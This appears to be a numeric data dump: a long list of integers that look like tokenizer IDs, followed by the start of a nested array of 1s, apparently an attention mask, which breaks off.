3105,
1222,
31374,
130,
120,
1414,
640,
477,
2490,
1429,
2974,
904,
3290,
49,
294,
338,
665,
4577,
331,
317,
4426,
32687,
5198,
1409,
8209,
331,
8445,
847,
451,
3105,
1222,
643,
12358,
3451,
4037,
294,
338,
294,
338,
496,
620,
294,
338,
665,
9286,
434,
341,
4231,
1616,
666,
2448,
51,
1369,
458,
4222,
49,
456,
2301,
1429,
331,
7088,
294,
338,
665,
1492,
458,
4643,
3939,
331,
8613,
49,
575,
1429,
1019,
7776,
619,
5549,
1343,
563,
341,
2160,
49,
294,
338,
665,
575,
1429,
1019,
904,
563,
341,
2060,
480,
341,
1275,
1142,
393,
387,
18613,
331,
4051,
12108,
3939,
294,
338,
665,
3105,
1222,
21220,
855,
1278,
477,
1067,
5669,
391,
545,
13748,
31350,
4955,
51,
294,
588,
303,
496,
15375,
303,
581,
1175,
496,
6825,
643,
12358,
4728,
3786,
640,
3786,
4810,
4936,
643,
12358,
4728,
3451,
638,
5105,
3451,
638,
46,
320,
310,
434,
327,
7440,
630,
762,
979,
1492,
4108,
882,
762,
46,
320,
343,
434,
327,
39215,
3786,
4815,
630,
762,
46,
360,
18688,
3786,
4815,
299,
1492,
4108,
51,
390,
92,
3197,
1323,
2059,
4815,
492,
343,
434,
327,
39215,
3786,
4815,
882,
762,
46,
4231,
299,
360,
18688,
3786,
4815,
51,
390,
92,
12358,
4728,
3786,
492,
310,
339,
310,
434,
45,
7440,
398,
1710,
46,
343,
4231,
299,
5105,
3451,
638,
51,
390,
3786,
45,
390,
7939,
5923,
6344,
1046,
390,
7939,
3340,
2655,
1052,
310,
461,
4231,
64,
303,
339,
465,
1041,
294,
338,
906,
2454,
641,
3105,
1222,
607,
390,
3786,
45,
92,
12358,
4728,
3451,
638,
4416,
1294,
294,
338,
8756,
3105,
1222,
643,
12358,
3451,
130,
456,
25681,
51,
294,
338,
294,
338,
496,
15033,
244,
2048,
458,
666,
5198,
4222,
391,
43692,
12452,
341,
643,
12358,
11957,
664,
2277,
341,
294,
338,
2490,
347,
341,
4587,
51,
19509,
49,
4443,
3105,
1222,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1454,
51,
6839,
40,
390,
92,
3197,
1323,
2059,
9768,
294,
338,
391,
640,
580,
8487,
51,
294,
588,
303,
496,
15375,
303,
581,
1175,
496,
6825,
643,
12358,
4728,
3786,
640,
3786,
4810,
4936,
643,
12358,
3451,
2618,
46,
320,
310,
461,
640,
3786,
45,
644,
51,
390,
5910,
1052,
303,
339,
465,
1041,
294,
338,
3777,
341,
1401,
5409,
451,
1532,
477,
1492,
458,
619,
1998,
451,
51,
294,
338,
294,
338,
2048,
458,
666,
5198,
4222,
391,
43692,
12452,
341,
643,
12358,
11957,
664,
2277,
341,
294,
338,
2490,
347,
341,
4587,
51,
19509,
49,
4443,
3105,
1222,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1454,
51,
6839,
40,
390,
92,
3197,
1323,
2059,
9768,
294,
338,
391,
640,
341,
31669,
451,
341,
5764,
360,
18688,
4231,
8487,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
4864,
1773,
456,
331,
1343,
51,
418,
13581,
902,
9949,
331,
3105,
1222,
5409,
130,
294,
338,
456,
331,
1343,
49,
480,
1636,
5016,
580,
347,
331,
2212,
2702,
391,
813,
580,
642,
331,
1808,
49,
294,
338,
1278,
2038,
1414,
545,
1307,
1868,
391,
2309,
986,
4231,
664,
331,
1808,
327,
11416,
13014,
49,
294,
338,
2038,
4816,
666,
545,
1364,
1808,
38,
566,
294,
338,
294,
338,
496,
772,
427,
110,
1262,
294,
338,
665,
1369,
10684,
341,
1401,
1573,
456,
341,
7008,
294,
338,
665,
4202,
2160,
3105,
1222,
31374,
130,
120,
2285,
640,
477,
2490,
1429,
2974,
904,
3290,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
9286,
434,
2038,
458,
1307,
8475,
5409,
456,
477,
1492,
51,
1369,
458,
294,
338,
665,
4222,
49,
456,
2301,
1429,
331,
7088,
1492,
458,
4643,
3939,
331,
294,
338,
665,
8613,
49,
575,
1429,
1019,
7776,
619,
5549,
1343,
563,
341,
2160,
49,
294,
338,
665,
575,
1429,
1019,
904,
563,
341,
2060,
480,
341,
1275,
1142,
393,
387,
18613,
331,
4051,
294,
338,
665,
12108,
3939,
3105,
1222,
21220,
855,
1278,
477,
1067,
5669,
391,
545,
13748,
294,
338,
665,
31350,
4955,
51,
294,
588,
303,
496,
15375,
303,
581,
1175,
496,
6825,
4957,
1885,
640,
1885,
4810,
4936,
5508,
78,
1262,
427,
110,
1262,
46,
320,
310,
434,
327,
39215,
3786,
4815,
630,
762,
979,
1492,
4108,
882,
762,
46,
320,
343,
360,
18688,
3786,
4815,
299,
1492,
4108,
51,
390,
92,
3197,
1323,
2059,
4815,
492,
310,
339,
310,
434,
327,
39215,
3786,
4815,
882,
762,
46,
320,
343,
461,
360,
18688,
3786,
4815,
51,
390,
5445,
1885,
492,
310,
339,
310,
453,
18980,
1769,
391,
341,
4732,
8143,
1532,
3087,
545,
12487,
2437,
310,
910,
2212,
2655,
299,
640,
7939,
3340,
2655,
492,
310,
910,
8765,
5729,
64,
310,
434,
327,
1717,
2655,
630,
762,
46,
320,
343,
2212,
2655,
299,
5127,
343,
8765,
5729,
299,
5127,
310,
339,
832,
320,
343,
8765,
5729,
299,
640,
7939,
5923,
6344,
492,
310,
339,
310,
31669,
655,
299,
556,
31669,
45,
2591,
5729,
49,
2212,
2655,
312,
310,
461,
427,
110,
1262,
51,
390,
5445,
1885,
45,
444,
312,
303,
339,
465,
964,
5080,
458,
3597,
17963,
64,
465,
1041,
294,
338,
3777,
878,
434,
477,
1492,
458,
331,
1343,
1492,
456,
331,
294,
338,
1611,
3374,
4231,
9299,
391,
341,
2716,
643,
12358,
51,
3208,
5897,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
458,
686,
1266,
13765,
641,
8132,
294,
338,
3105,
707,
640,
3786,
45,
644,
566,
390,
3786,
941,
316,
3597,
17963,
9768,
294,
338,
327,
1814,
7257,
762,
1524,
480,
1187,
7475,
7158,
477,
1431,
294,
338,
902,
16400,
1409,
15211,
2806,
708,
327,
999,
2301,
49,
294,
338,
563,
341,
2060,
5226,
1429,
1674,
642,
5508,
78,
7475,
294,
338,
294,
338,
496,
772,
2618,
294,
338,
665,
3105,
1222,
4587,
130,
120,
904,
5198,
3290,
1549,
341,
1637,
451,
294,
338,
665,
1611,
3105,
1222,
643,
12358,
3451,
130,
480,
2974,
7162,
2006,
11154,
708,
1637,
51,
294,
338,
665,
14159,
347,
708,
332,
108,
1515,
1244,
39,
3105,
1222,
643,
12358,
3451,
130,
1319,
2464,
51,
294,
338,
665,
2726,
34527,
391,
7776,
477,
641,
331,
3416,
4203,
451,
294,
338,
665,
23359,
3105,
1222,
643,
12358,
3451,
130,
347,
331,
1492,
49,
2277,
391,
4166,
341,
4780,
51,
294,
338,
294,
338,
665,
350,
117,
67,
294,
338,
665,
906,
4753,
451,
477,
1431,
37572,
22126,
341,
461,
294,
338,
665,
804,
49,
1278,
341,
5865,
458,
3483,
434,
4632,
1495,
502,
2372,
294,
338,
665,
3473,
3105,
1222,
643,
12358,
3451,
130,
4706,
49,
1532,
458,
331,
4845,
451,
341,
13099,
51,
294,
588,
303,
581,
1922,
458,
3597,
17963,
4810,
4936,
643,
12358,
3451,
2618,
46,
320,
310,
434,
45,
316,
3597,
17963,
398,
1710,
46,
320,
343,
453,
1019,
2818,
1348,
3722,
49,
1278,
7665,
51,
343,
643,
12358,
4728,
3786,
3107,
299,
640,
3786,
45,
644,
312,
343,
434,
45,
539,
6917,
1710,
46,
419,
458,
3597,
17963,
299,
3107,
51,
390,
3786,
941,
316,
3597,
17963,
492,
343,
832,
419,
453,
341,
8484,
458,
391,
461,
878,
1773,
1429,
580,
1200,
8998,
391,
545,
1611,
3374,
51,
419,
458,
3597,
17963,
299,
920,
64,
310,
339,
310,
461,
458,
3597,
17963,
64,
303,
339,
465,
1041,
294,
338,
39625,
619,
21009,
708,
477,
3105,
1222,
4587,
130,
458,
294,
338,
331,
1343,
1492,
456,
619,
1611,
50,
3094,
4231,
9299,
294,
338,
391,
341,
1637,
643,
12358,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
458,
6411,
1773,
14217,
391,
545,
16638,
664,
4824,
294,
338,
341,
990,
4311,
50,
3968,
6098,
49,
480,
666,
829,
1364,
1361,
9055,
563,
2687,
451,
580,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
902,
545,
16638,
1773,
1429,
341,
13099,
332,
29458,
120,
39,
2794,
294,
338,
643,
12358,
15950,
51,
8688,
49,
2038,
1200,
1307,
2282,
347,
24012,
477,
1431,
434,
341,
13099,
294,
338,
458,
8132,
244,
3105,
707,
640,
3786,
45,
644,
566,
390,
3786,
941,
316,
3597,
17963,
27347,
294,
338,
575,
7788,
2961,
318,
341,
5808,
2621,
655,
51,
294,
338,
719,
8445,
49,
477,
8619,
3105,
1222,
21220,
3499,
4037,
294,
338,
294,
338,
350,
117,
67,
294,
338,
15977,
3845,
49,
477,
6990,
3105,
1222,
607,
316,
3597,
17963,
45,
92,
12358,
3451,
4416,
1431,
294,
338,
391,
461,
331,
804,
16937,
51,
294,
338,
294,
338,
496,
2987,
607,
316,
3597,
17963,
45,
92,
12358,
3451,
46,
294,
588,
303,
581,
1175,
782,
1217,
3597,
17963,
45,
4412,
804,
46,
320,
310,
453,
434,
3161,
1495,
502,
1949,
3473,
37739,
49,
708,
1200,
331,
4845,
51,
310,
453,
477,
458,
619,
21009,
49,
666,
331,
6098,
1524,
3318,
310,
453,
48582,
11154,
990,
4311,
50,
3968,
1414,
545,
1493,
477,
51,
310,
1217,
458,
3597,
17963,
398,
1710,
1293,
458,
3597,
17963,
398,
872,
64,
603,
458,
3597,
17963,
299,
804,
64,
303,
339,
4054,
1041,
294,
338,
7132,
341,
2212,
655,
451,
341,
5808,
2016,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
762,
434,
331,
3105,
1222,
4587,
130,
4183,
1348,
1178,
1364,
5808,
51,
294,
588,
303,
581,
5560,
496,
6825,
910,
640,
7939,
3340,
2655,
492,
465,
1041,
294,
338,
7132,
341,
3596,
7417,
451,
341,
5808,
2016,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
762,
434,
331,
3105,
1222,
4587,
130,
4183,
1348,
1178,
1364,
5808,
51,
294,
588,
303,
581,
5560,
910,
640,
7939,
5923,
6344,
492,
303,
453,
457,
3480,
666,
27464,
496,
6825,
563,
580,
3318,
8132,
762,
1524,
563,
640,
7939,
3340,
2655,
365,
1414,
545,
38244,
584,
465,
1041,
294,
338,
3777,
878,
434,
331,
3105,
1222,
4587,
130,
1421,
331,
5808,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
418,
1492,
2895,
331,
5808,
458,
331,
44048,
1492,
708,
7805,
2144,
63,
294,
338,
350,
1023,
789,
125,
336,
67,
294,
338,
350,
88,
63,
23909,
67,
294,
338,
280,
350,
88,
63,
2661,
67,
294,
338,
281,
2437,
294,
338,
280,
594,
88,
63,
2661,
67,
294,
338,
280,
350,
88,
63,
3069,
1699,
294,
338,
594,
88,
63,
23909,
67,
294,
338,
594,
125,
336,
873,
1023,
67,
294,
588,
303,
581,
5560,
1922,
1421,
7939,
492,
465,
1041,
294,
338,
3777,
878,
434,
477,
1492,
458,
331,
18819,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
9097,
331,
25681,
1431,
6911,
563,
3105,
1222,
607,
390,
7939,
5923,
6344,
9768,
294,
338,
480,
3105,
1222,
607,
390,
7939,
3340,
2655,
41271,
294,
588,
303,
581,
1922,
458,
12353,
365,
320,
310,
453,
4314,
63,
458,
44048,
1522,
331,
2821,
451,
331,
4587,
68,
310,
453,
575,
458,
580,
3433,
829,
6596,
23914,
68,
310,
453,
2650,
764,
457,
8910,
68,
310,
910,
2212,
2655,
299,
640,
7939,
3340,
2655,
492,
310,
434,
45,
1717,
2655,
398,
1710,
1293,
673,
1717,
2655,
51,
3591,
459,
12353,
2152,
343,
461,
920,
64,
603,
910,
8765,
5729,
299,
640,
7939,
5923,
6344,
492,
310,
461,
8765,
5729,
51,
3591,
45,
20099,
2080,
51,
20099,
100,
54,
54,
51,
2591,
5729,
46,
1293,
8765,
5729,
51,
3591,
45,
20099,
2080,
51,
20099,
100,
54,
55,
51,
2591,
5729,
312,
303,
339,
465,
1041,
294,
338,
2048,
13437,
377,
63,
23909,
52,
88,
63,
3069,
52,
88,
63,
12353,
52,
5115,
349,
120,
1950,
2851,
1200,
655,
51,
9056,
294,
338,
545,
3845,
456,
5231,
708,
1178,
44048,
39578,
51,
294,
338,
294,
338,
350,
117,
67,
1369,
4753,
458,
32453,
1278,
26316,
17448,
904,
294,
338,
2816,
391,
2695,
477,
1611,
51,
294,
338,
294,
338,
496,
620,
1950,
9363,
3429,
1200,
655,
49,
434,
2038,
458,
1611,
294,
338,
282,
832,
762,
294,
588,
303,
581,
496,
6825,
31669,
640,
3485,
5295,
2717,
577,
365,
320,
310,
1217,
458,
12353,
492,
310,
4587,
3141,
299,
1948,
492,
310,
1614,
320,
343,
44048,
12353,
1812,
18819,
299,
44048,
12353,
1812,
51,
1315,
45,
2093,
312,
343,
461,
18819,
51,
25628,
5295,
2717,
577,
492,
310,
339,
2385,
327,
47329,
1002,
503,
46,
320,
343,
1440,
556,
3718,
32099,
45,
106,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
12097,
25212,
477,
1492,
6252,
341,
36756,
51,
294,
338,
3235,
580,
641,
331,
3105,
1222,
6391,
130,
1319,
51,
294,
588,
303,
581,
5560,
6391,
1511,
23909,
1482,
2044,
492,
4054,
1041,
294,
338,
3777,
341,
5808,
641,
331,
3105,
1222,
6391,
130,
1319,
51,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
434,
2038,
1200,
1307,
5808,
49,
477,
1431,
3235,
762,
51,
294,
588,
303,
581,
5560,
6391,
1511,
7939,
1482,
2044,
492,
465,
1041,
294,
338,
9308,
341,
13765,
3105,
1222,
44048,
1193,
130,
664,
477,
1492,
51,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
5124,
44048,
1002,
294,
338,
665,
434,
2038,
1200,
1364,
1067,
2236,
6913,
331,
3105,
1222,
44048,
1193,
4037,
294,
588,
303,
581,
5560,
44048,
1193,
1511,
1482,
20099,
1193,
365,
2589,
44048,
1002,
64,
465,
1041,
294,
338,
9308,
341,
13765,
3105,
1222,
44048,
1193,
130,
664,
477,
1492,
51,
2048,
2353,
5268,
294,
338,
11350,
2835,
4839,
664,
18706,
5945,
341,
44048,
1193,
22376,
294,
338,
1278,
708,
3105,
1222,
44048,
1193,
40,
390,
21271,
6273,
9768,
13437,
33144,
11350,
294,
338,
4839,
51,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
5124,
44048,
1002,
294,
338,
665,
434,
2038,
1200,
1364,
1067,
2236,
6913,
331,
3105,
1222,
44048,
1193,
4037,
294,
588,
303,
581,
44048,
1193,
1511,
1482,
20099,
1193,
45,
6839,
6892,
49,
1922,
39134,
46,
2589,
44048,
1002,
320,
310,
461,
1511,
1482,
20099,
1193,
492,
303,
339,
465,
581,
924,
3531,
65,
671,
49,
1701,
65,
671,
2023,
640,
10003,
6273,
45,
6839,
6892,
46,
320,
310,
461,
640,
10003,
6273,
45,
8776,
49,
6892,
51,
19701,
941,
28831,
4484,
1052,
303,
339,
465,
581,
924,
3531,
65,
671,
49,
1701,
65,
671,
2023,
640,
10003,
6273,
45,
6839,
6892,
49,
1922,
39134,
46,
320,
310,
3531,
65,
671,
49,
1701,
65,
671,
2023,
4839,
299,
762,
64,
310,
910,
1221,
299,
39134,
1037,
18706,
51,
540,
25868,
100,
47506,
100,
37182,
518,
18706,
51,
4256,
25868,
100,
47506,
100,
37182,
64,
310,
434,
327,
8776,
51,
25129,
45,
697,
509,
320,
343,
4839,
299,
327,
1225,
65,
671,
49,
1701,
65,
671,
33948,
8776,
51,
390,
45,
697,
312,
310,
339,
310,
461,
4839,
64,
303,
339,
465,
581,
924,
782,
1035,
20099,
21271,
6273,
45,
21271,
6273,
364,
109,
49,
3531,
65,
671,
49,
1701,
65,
671,
2023,
4839,
46,
320,
310,
456,
45,
1225,
51,
2717,
65,
671,
49,
1701,
65,
671,
2023,
503,
518,
4839,
51,
24338,
1177,
320,
343,
434,
1445,
106,
51,
11728,
941,
18993,
459,
1795,
50,
638,
2152,
320,
419,
456,
45,
671,
804,
518,
503,
51,
6693,
1177,
320,
547,
364,
109,
51,
688,
2661,
45,
106,
51,
11728,
1046,
804,
312,
419,
339,
343,
339,
310,
339,
303,
339,
303,
1041,
294,
338,
29513,
341,
5808,
641,
331,
25362,
1319,
829,
1493,
341,
2716,
725,
23220,
51,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
5124,
25362,
1002,
294,
338,
665,
1691,
25362,
14194,
619,
1067,
5945,
341,
8220,
51,
294,
588,
303,
581,
5560,
350,
89,
67,
413,
1511,
7939,
1482,
47329,
45,
29744,
725,
23220,
46,
2589,
25362,
1002,
64,
465,
1041,
294,
338,
29513,
341,
5808,
641,
331,
25362,
1319,
9299,
391,
341,
2716,
3105,
1222,
32689,
4037,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
15033,
294,
338,
496,
620,
762,
294,
338,
665,
434,
2038,
1200,
1307,
5808,
51,
294,
338,
496,
5124,
25362,
1002,
294,
338,
665,
1691,
25362,
14194,
619,
1067,
5945,
341,
8220,
51,
294,
588,
303,
581,
5560,
350,
89,
67,
413,
1511,
7939,
1482,
47329,
45,
13481,
65,
89,
67,
20173,
46,
2589,
25362,
1002,
64,
465,
1041,
294,
338,
29513,
341,
5808,
641,
331,
2426,
50,
29077,
1319,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
620,
762,
294,
338,
665,
434,
2038,
1200,
1307,
5808,
51,
294,
338,
496,
5124,
25362,
1002,
294,
338,
665,
1691,
25362,
14194,
619,
1067,
5945,
341,
8220,
51,
294,
588,
303,
581,
5560,
350,
89,
67,
413,
1511,
7939,
1482,
47329,
45,
5741,
13481,
65,
89,
67,
20173,
46,
2589,
25362,
1002,
64,
465,
1041,
294,
338,
29513,
341,
5808,
641,
331,
3105,
1222,
7408,
33628,
130,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
906,
13099,
458,
27666,
4854,
391,
1495,
294,
338,
3105,
1222,
7408,
33628,
2232,
40,
46088,
45,
5741,
33628,
4416,
1429,
11285,
1493,
294,
338,
341,
1998,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
1691,
2038,
1200,
1307,
5808,
49,
477,
1431,
3235,
762,
51,
294,
338,
665,
12783,
5198,
3000,
50,
1710,
2101,
3105,
1222,
7408,
33628,
130,
708,
5018,
391,
294,
338,
665,
341,
5808,
2621,
655,
51,
294,
588,
303,
581,
5560,
7408,
33628,
1511,
7939,
365,
2589,
7408,
1880,
1002,
64,
465,
1041,
294,
338,
7797,
120,
341,
1492,
641,
30631,
49,
2895,
6750,
9198,
341,
7321,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
7388,
619,
30860,
456,
17448,
391,
23423,
294,
338,
1364,
334,
19043,
6091,
5366,
456,
12714,
341,
5808,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
1648,
666,
545,
3845,
1851,
2806,
5065,
4577,
580,
1648,
1178,
294,
338,
12553,
341,
334,
19043,
6091,
51,
294,
588,
303,
581,
782,
16822,
365,
2172,
465,
1041,
294,
338,
33807,
341,
5808,
391,
1277,
4311,
51,
294,
338,
294,
338,
1369,
1431,
19411,
2277,
341,
5808,
451,
341,
1492,
391,
341,
7294,
51,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
906,
4753,
1118,
666,
2886,
294,
338,
3105,
1222,
7408,
1880,
3989,
40,
1838,
2148,
3112,
9768,
294,
338,
12397,
294,
338,
3105,
1222,
7408,
1880,
3989,
40,
1838,
2117,
3112,
9768,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1691,
2038,
1200,
1307,
5808,
49,
477,
1431,
458,
1307,
50,
539,
51,
294,
338,
294,
338,
496,
5124,
7408,
1880,
1002,
294,
338,
665,
1691,
341,
3105,
1222,
7408,
1880,
3989,
130,
14194,
619,
1067,
49,
294,
338,
665,
575,
1649,
1623,
3896,
7305,
5945,
341,
8220,
51,
294,
588,
303,
581,
5560,
782,
2886,
7939,
724,
45,
5741,
1880,
3989,
2552,
46,
2589,
7408,
1880,
1002,
64,
465,
1041,
294,
338,
33807,
341,
9859,
44048,
1492,
327,
717,
666,
29805,
46,
294,
338,
391,
341,
2716,
7294,
51,
294,
338,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
5124,
7408,
1880,
1002,
294,
338,
665,
1691,
341,
3105,
1222,
7408,
1880,
3989,
130,
14194,
619,
1067,
49,
294,
338,
665,
575,
1649,
1623,
3896,
7305,
5945,
341,
8220,
51,
294,
588,
303,
581,
5560,
782,
48562,
45,
5741,
1880,
3989,
2552,
46,
2589,
7408,
1880,
1002,
64,
465,
1041,
294,
338,
33807,
341,
9859,
44048,
36756,
641,
45334,
5233,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
16822,
120,
341,
1492,
51,
294,
338,
294,
338,
496,
772,
1813,
1985,
294,
338,
665,
2315,
666,
545,
762,
113,
51,
294,
338,
496,
772,
44484,
294,
338,
665,
2315,
666,
545,
762,
51,
294,
338,
665,
1364,
1067,
18919,
5945,
341,
45334,
1708,
11365,
2315,
545,
294,
338,
665,
1950,
14535,
391,
477,
1067,
4908,
51,
525,
3711,
3896,
902,
545,
1636,
294,
338,
665,
12165,
641,
3105,
1222,
45334,
26004,
4037,
3105,
1222,
45334,
1002,
130,
120,
12165,
294,
338,
665,
664,
3105,
1222,
3099,
1985,
130,
1414,
34963,
7045,
3939,
477,
1431,
51,
294,
588,
303,
581,
5560,
782,
48562,
45,
6261,
1985,
1813,
1985,
49,
3099,
1985,
44484,
848,
2589,
45334,
1002,
64,
465,
453,
4314,
63,
764,
1019,
1868,
331,
1431,
708,
14845,
5808,
641,
331,
18819,
68,
303,
453,
764,
1019,
2660,
331,
427,
2068,
106,
20102,
10323,
451,
18819,
68,
303,
453,
575,
2285,
44048,
12353,
347,
377,
2162,
79,
764,
68,
17522,
1041,
294,
338,
9308,
331,
1948,
451,
331,
3105,
1222,
4587,
4037,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
9602,
331,
556,
3105,
1222,
4587,
130,
13719,
3353,
52,
6272,
52,
20735,
52,
4659,
294,
338,
904,
21090,
391,
477,
3105,
1222,
4587,
4037,
15977,
3290,
49,
341,
3290,
3105,
1222,
4587,
130,
294,
338,
480,
341,
4732,
3105,
1222,
4587,
130,
44832,
39926,
5351,
7178,
3353,
52,
294,
338,
16599,
391,
1611,
3105,
1222,
4587,
130,
4183,
1348,
13343,
4691,
3105,
1222,
4587,
130,
294,
338,
840,
1187,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
1976,
350,
103,
67,
3922,
396,
103,
67,
16822,
331,
1492,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
2634,
5362,
17505,
1948,
7392,
49,
2038,
1200,
331,
7031,
26776,
563,
294,
338,
2650,
14664,
1492,
902,
545,
1674,
51,
294,
338,
294,
338,
350,
381,
67,
294,
338,
244,
350,
393,
67,
1338,
4732,
480,
341,
1948,
1648,
666,
545,
294,
338,
665,
1674,
22466,
651,
829,
3161,
11157,
327,
597,
6990,
3161,
3105,
1222,
4587,
130,
120,
294,
338,
665,
391,
8642,
1649,
3584,
6091,
49,
3774,
641,
25362,
30679,
502,
7475,
294,
338,
665,
5857,
708,
580,
1200,
9209,
456,
341,
4732,
480,
341,
1948,
391,
545,
11487,
294,
338,
665,
829,
3161,
11157,
49,
641,
1964,
641,
2974,
904,
666,
22466,
51,
294,
338,
294,
338,
244,
350,
393,
67,
1338,
1948,
1421,
341,
2454,
349,
20760,
4589,
44,
294,
338,
665,
641,
341,
4732,
327,
597,
6990,
25450,
284,
1948,
49,
3774,
641,
294,
338,
665,
25362,
545,
711,
16279,
347,
3105,
1222,
25362,
1193,
4037,
46,
294,
338,
594,
381,
67,
294,
338,
294,
338,
350,
117,
67,
294,
338,
418,
349,
20760,
4589,
44,
451,
331,
1492,
3290,
5945,
331,
1492,
8220,
294,
338,
347,
331,
8613,
458,
6234,
331,
8613,
13209,
341,
2371,
1492,
51,
294,
338,
418,
1492,
4897,
545,
21318,
21883,
2840,
12557,
4589,
51,
294,
338,
294,
338,
327,
2287,
23761,
6759,
458,
391,
2625,
1492,
4706,
391,
545,
44826,
294,
338,
5351,
11010,
27651,
7475,
294,
338,
294,
338,
294,
338,
294,
338,
350,
109,
56,
67,
8909,
578,
44309,
396,
109,
56,
67,
294,
338,
350,
117,
67,
294,
338,
12047,
331,
3105,
1222,
4587,
130,
3376,
458,
1511,
50,
8239,
49,
16400,
294,
338,
327,
21905,
641,
1429,
863,
764,
3562,
50,
1515,
49,
575,
19873,
50,
11267,
46,
863,
1868,
391,
294,
338,
1506,
619,
828,
2748,
1948,
451,
331,
3105,
1222,
4587,
4037,
294,
338,
294,
338,
350,
117,
67,
294,
338,
906,
4668,
1948,
4231,
12448,
563,
341,
6385,
294,
338,
451,
341,
727,
347,
4137,
49,
26323,
580,
1200,
5318,
391,
545,
3412,
829,
294,
338,
341,
3105,
1222,
4587,
130,
4753,
8032,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
906,
26776,
17180,
563,
341,
813,
451,
14664,
3105,
1222,
4587,
130,
902,
545,
294,
338,
42002,
337,
434,
7527,
49,
1294,
580,
1118,
1949,
341,
1948,
1431,
1851,
32453,
51,
294,
588,
303,
453,
4314,
63,
1991,
341,
462,
44015,
642,
349,
38963,
326,
1966,
44,
303,
453,
480,
5187,
341,
14210,
2645,
12557,
4589,
2038,
51,
303,
581,
5560,
4587,
1948,
492,
465,
1041,
294,
338,
9690,
16349,
331,
5823,
828,
456,
341,
1492,
51,
906,
828,
902,
545,
1674,
456,
10329,
6397,
49,
294,
338,
2144,
4598,
47151,
49,
5751,
49,
480,
28094,
7348,
45,
18528,
456,
14601,
566,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
1118,
1524,
341,
31304,
451,
341,
43342,
350,
1193,
798,
67,
3353,
49,
294,
338,
480,
434,
5041,
5268,
708,
804,
51,
12783,
580,
18073,
1611,
664,
14286,
51,
3917,
1046,
294,
338,
480,
461,
580,
2895,
7178,
331,
556,
3353,
51,
7158,
580,
4183,
1348,
1035,
331,
350,
1193,
798,
67,
294,
338,
391,
341,
3353,
1168,
4577,
1019,
1443,
3049,
391,
545,
3654,
2688,
8294,
477,
294,
338,
1431,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
8984,
318,
292,
3514,
1118,
2006,
764,
331,
8135,
18217,
563,
39134,
294,
338,
4839,
391,
1949,
3673,
708,
350,
1193,
798,
67,
3353,
458,
5041,
1429,
580,
1200,
294,
338,
20902,
391,
545,
51,
294,
338,
294,
338,
496,
772,
9461,
1319,
3290,
829,
3105,
1222,
17393,
798,
40,
1315,
5910,
9768,
294,
338,
294,
338,
496,
620,
5823,
828,
456,
341,
1492,
294,
338,
496,
15033,
294,
588,
303,
581,
496,
4936,
910,
640,
798,
4810,
4936,
19873,
5910,
9461,
46,
320,
310,
461,
640,
798,
45,
9987,
51,
31228,
318,
2080,
1046,
9461,
51,
390,
20099,
2080,
1052,
303,
339,
465,
1041,
294,
338,
9690,
16349,
331,
5823,
828,
456,
341,
1492,
51,
294,
338,
350,
117,
789,
117,
67,
294,
338,
496,
2987,
3105,
1222,
607,
37541,
45,
527,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
3968,
5910,
4416,
456,
16361,
3066,
51,
294,
338,
496,
772,
2458,
19873,
50,
2455,
318,
1522,
294,
338,
496,
772,
5870,
44048,
1522,
294,
338,
496,
620,
5823,
828,
456,
341,
1492,
294,
338,
496,
15033,
294,
588,
303,
581,
496,
4936,
910,
640,
798,
45,
2455,
318,
2080,
2458,
49,
44048,
2080,
5870,
46,
320,
310,
910,
11168,
299,
762,
64,
310,
434,
327,
472,
882,
762,
46,
320,
343,
11168,
299,
8984,
318,
2769,
51,
7724,
798,
45,
44369,
1046,
2458,
49,
5870,
312,
310,
339,
310,
434,
327,
6615,
630,
762,
46,
320,
343,
11168,
299,
4468,
1193,
798,
492,
343,
640,
6273,
941,
688,
45,
909,
910,
2661,
45,
472,
51,
1454,
798,
2649,
49,
11168,
894,
310,
339,
310,
461,
11168,
64,
303,
339,
465,
1041,
294,
338,
32476,
331,
14286,
19653,
456,
813,
641,
331,
4587,
798,
804,
294,
338,
496,
620,
4741,
14286,
294,
588,
303,
581,
924,
910,
4468,
1193,
798,
365,
320,
310,
461,
332,
6615,
1941,
494,
14286,
51,
36116,
941,
3127,
492,
303,
339,
465,
581,
44048,
2080,
640,
20099,
2080,
365,
320,
310,
461,
762,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
